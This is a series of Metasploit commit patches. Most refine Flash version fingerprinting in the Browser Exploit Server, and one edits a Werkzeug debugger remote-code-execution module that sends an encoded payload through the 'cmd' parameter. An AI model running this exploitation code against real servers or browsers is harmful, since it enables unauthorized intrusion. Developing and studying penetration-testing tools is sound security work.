b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -90,8 +90,7 @@ module Msf @info_receiver_page = rand_text_alpha(5) @exploit_receiver_page = rand_text_alpha(6) @noscript_receiver_page = rand_text_alpha(7) - @flash_receiver_page = rand_text_alpha(8) - @flash_swf = rand_text_alpha(9) + @flash_swf = "#{rand_text_alpha(9)}.swf" register_options( [ @@ -333,11 +332,6 @@ module Msf # Gathering target info from the detection stage case source - when :flash - # Flash version detection - parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') - version_info = 'FLASH VERSION HERE' - update_profile(target_info, :flash, version_info) when :script # Gathers target data from a POST request parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') @@ -394,6 +388,9 @@ module Msf <%= js_misc_addons_detect %> <%= js_ie_addons_detect if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %> + var flash_version = ""; + var do_flash_loop = true; + function objToQuery(obj) { var q = []; for (var key in obj) { @@ -402,6 +399,52 @@ module Msf return Base64.encode(q.join('&')); } + function isEmpty(str) { + return (!str \|\| 0 === str.length); + } + + function sendInfo(info) { + var query = objToQuery(info); + postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){ + window.location="<%= get_module_resource %>"; + }); + } + + function setFlashVersion(ver) { + console.log('called! :) ' + ver) + flash_version = ver + do_flash_loop = false + console.log('flash version after set_version: ' + flash_version) + return; + } + + function createFlashObject(src, attributes, parameters) { + var i, html, div, obj, attr = attributes \|\| {}, param = parameters \|\| {}; + attr.type = 'application/x-shockwave-flash'; + if (window.ActiveXObject) { + attr.classid = 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000'; + param.movie = src; + } else { + attr.data = src; + } + + html = '<object'; + for (i in attr) { + html += ' ' + i + '="' + attr[i] + '"'; + } + html += '>'; + for (i in param) { + html += '<param name="' + i + '" value="' + param[i] + '" />'; + } + html += '</object>'; + div = document.createElement('div'); + div.innerHTML = html; + obj = div.firstChild; + div.removeChild(obj); + console.log(obj) + alert('check obj') + return obj; + } window.onload = function() { var osInfo = os_detect.getVersion(); @@ -418,15 +461,6 @@ module Msf "vuln_test" : <%= js_vuln_test %> }; - if (d["flash"]) { - // Load SWF for accurate Flash detection - // This SWF needs to send the Flash version info as a POST request to BES sort of like this: - // <%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/ - var flashObject = document.createElement("object"); - flashObject.setAttribute("data", "Flash location from the @flash_swf instance variable"); - document.body.appendChild(flashObject); // Do you actually need to do this? - } - <% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %> d['office'] = ie_addons_detect.getMsOfficeVersion(); d['mshtml_build'] = ScriptEngineBuildVersion().toString(); @@ -448,10 +482,30 @@ module Msf <% end %> <% end %> - var query = objToQuery(d); - postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){ - window.location="<%= get_module_resource %>"; - }); + if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) { + alert('flash detection!') + // Load SWF for accurate Flash detection + // This SWF needs to send the Flash version info as a POST request to BES sort of like this: + var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'}); + + (function loop(){ + console.log('loop: ' + flash_version) + setTimeout(function(){ + if (do_flash_loop) { + loop() + } + console.log('finally: ' + flash_version) + if (!isEmpty(flash_version)) { + d["flash"] = flash_version + } + sendInfo(d) + }, 1000); + })(); + + document.body.appendChild(flashObject) + } else { + sendInfo(d) + } } |).result(binding()) @@ -485,8 +539,10 @@ module Msf end def load_swf_detection - # Your SWF loads here - '' + path = ::File.join(Msf::Config.data_directory, 'flash_detector', 'detector.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf end @@ -514,14 +570,10 @@ module Msf send_response(cli, html, {'Set-Cookie' => cookie_header(tag)}) when /#{@flash_swf}/ + vprint_status("Sending SWF used for Flash detection") swf = load_swf_detection - send_response(cli, swf) - - when /#{@flash_receiver_page}/ - vprint_status("Received information from Flash") - process_browser_info(:flash, cli, request) - send_not_found(cli) - + send_response(cli, swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + when /#{@info_receiver_page}/ # # The detection code will hit this if Javascript is enabled From 244d9bae64cb53446fd7c157de9e4a17da0d73f3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 13 Jul 2015 16:52:25 -0500 Subject: [PATCH 0759/1013] Add max timeout --- .../exploit/remote/browser_exploit_server.rb | 39 +++++++++++-------- 1 file changed, 23 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index a2e881795f..b10a009b96 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -388,9 +388,6 @@ module Msf <%= js_misc_addons_detect %> <%= js_ie_addons_detect if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %> - var flash_version = ""; - var do_flash_loop = true; - function objToQuery(obj) { var q = []; for (var key in obj) { @@ -410,11 +407,19 @@ module Msf }); } + var flashVersion = ""; + var doFlashLoop = true; + var maxTimeout = null; + function setFlashVersion(ver) { console.log('called! :) ' + ver) - flash_version = ver - do_flash_loop = false - console.log('flash version after set_version: ' + flash_version) + flashVersion = ver + doFlashLoop = false + if (maxTimeout != null) { + clearTimeout(maxTimeout); + maxTimeout = null + } + console.log('flash version after set_version: ' + flashVersion) return; } @@ -483,23 +488,25 @@ module Msf <% end %> if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) { - alert('flash detection!') - // Load SWF for accurate Flash detection - // This SWF needs to send the Flash version info as a POST request to BES sort of like this: + alert('flash detection!'); var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'}); + // After 5s stop waiting and use the version retrieved with JS + maxTimeout = setTimeout(function(){ doFlashLoop = false }, 5000); + + // Check every 100 ms (function loop(){ - console.log('loop: ' + flash_version) + console.log('loop: ' + flashVersion) setTimeout(function(){ - if (do_flash_loop) { + if (doFlashLoop) { loop() } - console.log('finally: ' + flash_version) - if (!isEmpty(flash_version)) { - d["flash"] = flash_version + console.log('finally: ' + flashVersion) + if (!isEmpty(flashVersion)) { + d["flash"] = flashVersion } sendInfo(d) - }, 1000); + }, 100); })(); document.body.appendChild(flashObject) @@ -573,7 +580,7 @@ module Msf vprint_status("Sending SWF used for Flash detection") swf = load_swf_detection send_response(cli, swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) - + when /#{@info_receiver_page}/ # # The detection code will hit this if Javascript is enabled From 8928c5529cab5dd588232df7f4ab0507bd65f565 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 13 Jul 2015 17:43:04 -0500 Subject: [PATCH 0760/1013] Fix Javascript code --- .../exploit/remote/browser_exploit_server.rb | 41 ++++++++++--------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index b10a009b96..38cdcc9151 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -408,18 +408,17 @@ module Msf } var flashVersion = ""; - var doFlashLoop = true; + var doInterval = true; var maxTimeout = null; + var intervalTimeout = null; function setFlashVersion(ver) { - console.log('called! :) ' + ver) flashVersion = ver - doFlashLoop = false if (maxTimeout != null) { clearTimeout(maxTimeout); maxTimeout = null } - console.log('flash version after set_version: ' + flashVersion) + doInterval = false return; } @@ -446,8 +445,6 @@ module Msf div.innerHTML = html; obj = div.firstChild; div.removeChild(obj); - console.log(obj) - alert('check obj') return obj; } @@ -488,26 +485,30 @@ module Msf <% end %> if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) { - alert('flash detection!'); var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'}); - // After 5s stop waiting and use the version retrieved with JS - maxTimeout = setTimeout(function(){ doFlashLoop = false }, 5000); + // After 5s stop waiting and use the version retrieved with JS if there isn't anything + maxTimeout = setTimeout(function() { + if (intervalTimeout != null) { + doInterval = false + clearInterval(intervalTimeout) + } + if (!isEmpty(flashVersion)) { + d["flash"] = flashVersion + } + sendInfo(d); + }, 5000); - // Check every 100 ms - (function loop(){ - console.log('loop: ' + flashVersion) - setTimeout(function(){ - if (doFlashLoop) { - loop() - } - console.log('finally: ' + flashVersion) + // Check if there is a new flash version every 100ms + intervalTimeout = setInterval(function() { + if (!doInterval) { + clearInterval(intervalTimeout); if (!isEmpty(flashVersion)) { d["flash"] = flashVersion } - sendInfo(d) - }, 100); - })(); + sendInfo(d); + } + }, 100); document.body.appendChild(flashObject) } else { From 8fb6bedd947c194468ce4ffebbac6b075caec663 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 13 Jul 2015 18:23:39 -0500 Subject: [PATCH 0761/1013] Delete as3 detecotr --- data/flash_detector/detector.swf | Bin 801 -> 0 bytes external/source/flash_detector/Detector.as | 36 ------------------ .../exploit/remote/browser_exploit_server.rb | 2 +- 3 files changed, 1 insertion(+), 37 deletions(-) delete mode 100644 data/flash_detector/detector.swf delete mode 100755 external/source/flash_detector/Detector.as diff --git a/data/flash_detector/detector.swf b/data/flash_detector/detector.swf deleted file mode 100644 index e7a48d93691d0907316c7141d864790570b99d71..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 801 zcmV++1K#{vS5qC`1ONaK0{{SB001BW06YKujv4yj=Vl0?JwAo?b#KsqVKo~Xixy4a z1v37mOh!q!duw(1D_l1z3z0VgHxB9Y;ryOt+H4UaGwq-bc5tB0m@amJ@Zeci1_<fO z>!QZnT84W^-kDu!b~qNjlRVSVp3_xhTH3JNC+2)1J*>=-p>|kv2*_BK)@TdzxW~s5 zRX~U5S-?);A+G44YL3M0*f=<)^i{biPBGOIR$l<Z>YO&{zPAusrYQ+MNi=aD#T4!$ zPkS*y<NE;B@xS6PzC>6Mr~&jb2>K)qny&rD&(ESY3$E?lK{?1zUms&{I3Vb0<VS_* zF1j}Q^8?U=u{T<{ehV~&A$V*KJnI^`%Kh0}0?H#*zs>PAfZnw)6Q3%5yC1XyKaFMW zh();^#l%$yYUu1F6xNLje$A1ok9CORez%6DkmYl83$w83pe+7>tTq6gI*Z<$H1=`b zuAKe}IlLQ<S8o~m_Fg^&Q-VScLb8hzkv#ZuU3d!%5LVOXiT-lyBGF+YBc$|qCo+#; zUEAX*FyO-MdtWgzHzKLP*yA5!9tI(cMYsNRCJQ9|?0=Z3R{T2<t7@XzeC3~&<6-}) zFB+}F3|%({se3M9=I#OC5Qdpk8*}$>z*K{>h}f%=FRX71&F=|ENB4n{I3MQS;6FB; z%w2iKvPqvxFbM5*%MOZ9@|W~$RwJ}aOUKSO<xv1~IO#bnV#30~vj&fQ5+Fn(vZM=- z8KqA6k?jeD*M93r7#uSNXRJ=MYM|C$=%Wd^SxLq*gj#dN#!|0ug{UrNk*+ehX0rvP zpQ_7?krROD4ZImF#pYMSaHk>iSLaT<vm~_kkN#U!h~h?&B#3?R%e4H(^eJy-k#ccn zPL#3(malZs1#iRb(=?xOiOCHk;evL0BQszQBdaA|W5f6f@Fn;u&2#LsX~0VmZHcwT z)hRG^aPlwv33$`FaY30}Ky9&fmjB9lYWYXl3TW*1kJdKcHxN77*d`GcbGtx74G_wW fR%9(~StVC8dl-w$UO~H-tSNtxQXYVx{vnQkW;cXF diff --git a/external/source/flash_detector/Detector.as b/external/source/flash_detector/Detector.as deleted file mode 100755 index 664ed66dd6..0000000000 --- a/external/source/flash_detector/Detector.as +++ /dev/null @@ -1,36 +0,0 @@ -/* -Code to do flash version detection from ActionScript - -* How to build: - 1. Use Flex SDK 4.6 / AIRSDK 18 - 2. Build with: mxmlc -o msf.swf Exploit.as -*/ - -package -{ - import flash.display.Sprite - import flash.external.ExternalInterface - import flash.system.Capabilities - - public class Detector extends Sprite - { - - public function Detector() - { - var version:String = getVersion() - ExternalInterface.call("setFlashVersion", version) - } - - private function getVersion():String - { - try { - var version:String = flash.system.Capabilities.version - version = version.split(/ /)[1] - version = version.replace(/,/g, ".") - return version - } catch (err:Error) { - return "" - } - } - } -} diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 38cdcc9151..b2773491a0 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -547,7 +547,7 @@ module Msf end def load_swf_detection - path = ::File.join(Msf::Config.data_directory, 'flash_detector', 'detector.swf') + path = ::File.join(Msf::Config.data_directory, 'flash_detector', 'flashdetector.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf From b72ba7f51cbda1571284186c05e79a688dee12ff Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 13 Jul 2015 18:26:02 -0500 Subject: [PATCH 0762/1013] Add AS2 flash detection code --- data/flash_detector/flashdetector.swf | Bin 0 -> 455 bytes .../flash_detector/bin/expressInstall.swf | Bin 0 -> 773 bytes external/source/flash_detector/bin/index.html | 39 +++++++++++++ .../source/flash_detector/bin/js/swfobject.js | 4 ++ .../flash_detector/flash_detector.as2proj | 55 ++++++++++++++++++ external/source/flash_detector/src/Main.as | 31 ++++++++++ 6 files changed, 129 insertions(+) create mode 100755 data/flash_detector/flashdetector.swf create mode 100755 external/source/flash_detector/bin/expressInstall.swf create mode 100755 external/source/flash_detector/bin/index.html create mode 100755 external/source/flash_detector/bin/js/swfobject.js create mode 100755 external/source/flash_detector/flash_detector.as2proj create mode 100755 external/source/flash_detector/src/Main.as diff --git a/data/flash_detector/flashdetector.swf b/data/flash_detector/flashdetector.swf new file mode 100755 index 0000000000000000000000000000000000000000..30293d10dc9a08eefe98bd5f82104310b1dbdf91 GIT binary patch literal 455 zcmV;&0XY6cS5pX;0ssJb+DuYSZ__{!eO^2DhC<q!f-e!`T0j*Cj`Sl`MG7Km<RGrW zjW(%^o3(aV(Eb8?DmP0Aapm{$kIKy2MeJdA-|U-tGqZb%_z#d)z>@$+;+9r-4YVc! znS<UoSvpN-vq?VxoG+E#9p%Lex4lp>>-sky!+U1SQlI7}mdbrp#uj=7tK8c%w`X^F z!2s&gDYGKxaeEl9XkX-Wg?V0<sEl^nT~!JfoOgO<ow}f_DnBjC!WGKmOPla1Y(*~Y z;swq%k&lhh2Fe&<Fr6wlF}k7>mKL>uL_bM>3A_s!1by$ik=$*#gIB1#h#5qI6xp`` zBCXdE2^q%Rs*HR<XUulZ+c-;!hLbu%1S!V^g0unMn=Kw(v;$$kE;6khHc`iofW#qD z!_)_o*uNTn;=4rW6J9cAg?nCe-K*Un-_;}^#QZu`S}&_R@Swd+AU8agoBwerdaLb7 zkZb>kAPM#+oIk?z_cdJ(X*P*>KODX0ZJUWPd=Q?U)EkYIh=Mp|iAQ@W4#GEdyzUcY x^kFbPnvDj-G2B^Un{VOY&`+92m9~?Qn@m#p{=zK9A;G@@009600{~n!e;KWd)#3mE literal 0 HcmV?d00001 diff --git a/external/source/flash_detector/bin/expressInstall.swf b/external/source/flash_detector/bin/expressInstall.swf new file mode 100755 index 0000000000000000000000000000000000000000..86958bf3a726d6e946e36fb5d34aaf315c9f0b24 GIT binary patch literal 773 zcmV+g1N!_!S5pQ-1pokeoP|`)Pt-sZ|8;lSEwI4K*P@gUAu&n}HSvZZ1PFwL1zA83 z#=~qoK%v_<?G)UziE`q&i6KUho;-Td#D9RR@#@hd|H1mEU07Bz_Aq_#H}7kH@6C9~ zYQV-EvI-UwwOVaf9S5Mmt8XYcqYt^hGp%>y{QdanFT+{w@Z$&6T61KWAk)|Bv_e13 zkzQ;4o&u7j&L%&Rbo@gZgY7bt`wO<^ArQ<L+n&h;hj2HAZ#lboE-D@$T?!pTSg!K| zmI=e=%wKT?_YavJ1z2#)p3SA3RgRbSP#|>VUco)Icx1Iz$4zdt3Vd!_J~za6aTSF^ zv*wWj_qQlBDW*%Qh0S3w+b%KVVDs71dTF1GvFIK}IVLX)XduinxNUQ@0WC30>N}o! zfs~oyyJbqvCJncY%}OA6838v!-x3v2KKE$REi=oZ<i;MK56Qqsfr&l%%rVI)jQFCG zuqT8!rR)C;uX|xh-?3S+7avcLU3E(4b4TdG(T>hS;l>^CCrO`0sUmoQT`uOOu;q$6 z<1wpLl5wyqJ7`kX;<6{Fxuz}PE2`~CqyDMTstKsdnp_h_xh7Y--z9J#Qch{r3^Ix| zY?;Y7Ii^WhkbL|$fhUn|CW@qLyV8B;f9`SK)?zc-Ru5WDQM`J@cCFfi%&#QSu{?Cr z+dO47+WT0El2ODo)ND#oJJ!}4Kqmp6SAi}9x(K+2g<_uQx;mdgu9>dfO#WmHmO~fB zwl@V6VL+ECF##orl&8!NIZCpil=6m7F5}+VAx1_(hoWP3OC?`ddg2}8P?yWZU&#pU zyAA|S`>(kLz(c%xfPHqz0>igFF-4=}MthU|rRVb?Scz+2sQcc%_lSyYh1whUsV`!p zKbnU;b*BUBKqL9hX!lleS`s;^YU+TtJS}a8{^W9)Z0I-Gn1C1`i8`)kF72nuKvgp> z7h-#+EfR^Hl<YnEj7CA^q1D?n(;0kA_mF&tct=P6=apwmK5fVHnM)#jJ}R}}%;`Mr D8O3}b literal 0 HcmV?d00001 diff --git a/external/source/flash_detector/bin/index.html b/external/source/flash_detector/bin/index.html new file mode 100755 index 0000000000..20a2ff2f1b --- /dev/null +++ b/external/source/flash_detector/bin/index.html @@ -0,0 +1,39 @@ +<!DOCTYPE html> +<html lang="en"> +<head> + <meta charset="utf-8"/> + <title>flash_detector + + + + + + + +
    +

    flash_detector

    +

    Get Adobe Flash player

    +
    + + \ No newline at end of file diff --git a/external/source/flash_detector/bin/js/swfobject.js b/external/source/flash_detector/bin/js/swfobject.js new file mode 100755 index 0000000000..8eafe9dd83 --- /dev/null +++ b/external/source/flash_detector/bin/js/swfobject.js @@ -0,0 +1,4 @@ +/* SWFObject v2.2 + is released under the MIT License +*/ +var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='"+af+"";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/flash_detector/src/Main.as b/external/source/flash_detector/src/Main.as new file mode 100755 index 0000000000..d21babff27 --- /dev/null +++ b/external/source/flash_detector/src/Main.as @@ -0,0 +1,31 @@ +import flash.external.ExternalInterface +import System.capabilities + +class Main +{ + + public static function main(swfRoot:MovieClip):Void + { + // entry point + var app:Main = new Main(); + } + + public function Main() + { + var version:String = getVersion() + ExternalInterface.call("setFlashVersion", version) + } + + private function getVersion():String + { + try { + var version:String = capabilities.version + version = version.split(" ")[1] + version = version.split(",").join(".") + return version + } catch (err:Error) { + return "" + } + } + +} \ No newline at end of file From 57f62ffa76d6feeb7b23b0e4ef639f7e709d770c Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 13 Jul 2015 20:18:45 -0400 Subject: [PATCH 0763/1013] changed URI to TARGETURI as per comments --- modules/exploits/multi/http/werkzeug_debug_rce.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index 3ed9af96a4..0c5a6d662c 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -36,7 +36,7 @@ class Metasploit4 < Msf::Exploit::Remote ) register_options( [ - OptString.new('URI',[true,'URI to the console','/console']) + OptString.new('TARGETURI',[true,'URI to the console','/console']) ], self.class ) end @@ -44,7 +44,7 @@ class Metasploit4 < Msf::Exploit::Remote def check res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(datastore['URI']) + 'uri' => normalize_uri(datastore['TARGETURI']) }) #https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67 if res and res.body =~ /Werkzeug powered traceback interpreter/ @@ -57,14 +57,14 @@ class Metasploit4 < Msf::Exploit::Remote #first we need to get the SECRET code res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(datastore['URI']) + 'uri' => normalize_uri(datastore['TARGETURI']) }) if res and res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/ secret = res.body.match(/SECRET = "([a-zA-Z0-9]{20})";/).captures[0] vprint_status("Secret Code: #{secret}") res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(datastore['URI']), + 'uri' => normalize_uri(datastore['TARGETURI']), 'vars_get' => { '__debugger__' => 'yes', 'cmd' => payload.encoded, From 8384be64664541c5569686f3a606ed0bae56e19c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 01:02:01 -0500 Subject: [PATCH 0764/1013] Fix rand_text_alpha and bump max exploit count to 21 --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 8 ++++---- modules/auxiliary/server/browser_autopwn2.rb | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index da06dad2fd..4a634ec2f6 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -87,10 +87,10 @@ module Msf # Requirements are conditions that the browser must have in order to be exploited. @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {}) - @info_receiver_page = rand_text_alpha(5) - @exploit_receiver_page = rand_text_alpha(6) - @noscript_receiver_page = rand_text_alpha(7) - @flash_swf = "#{rand_text_alpha(9)}.swf" + @info_receiver_page = Rex::Text.rand_text_alpha(5) + @exploit_receiver_page = Rex::Text.rand_text_alpha(6) + @noscript_receiver_page = Rex::Text.rand_text_alpha(7) + @flash_swf = "#{Rex::Text.rand_text_alpha(9)}.swf" register_options( [ diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index 96558e0c26..e514547b7d 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options([ OptInt.new('ExploitReloadTimeout', [false, 'Number of milliseconds before trying the next exploit', 3000]), - OptInt.new('MaxExploitCount', [false, 'Number of browser exploits to load', 20]), + OptInt.new('MaxExploitCount', [false, 'Number of browser exploits to load', 21]), OptString.new('HTMLContent', [false, 'HTML Content', '']), OptAddressRange.new('AllowedAddresses', [false, "A range of IPs you're interested in attacking"]), OptInt.new('MaxSessionCount', [false, 'Number of sessions to get', -1]), From 0582e7e3caa6841c09348ad771c7398461347b30 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 01:25:41 -0500 Subject: [PATCH 0765/1013] Return nil instead of "null" A scenario is when FF disables Flash, BES returns "null", and when modules try to use Gem::Version, the "null" is considered a malformed data and it won't be able to continue. --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 4a634ec2f6..1ad7cffa70 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -303,7 +303,7 @@ module Msf parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') vprint_status("Received sniffed browser data over POST:") 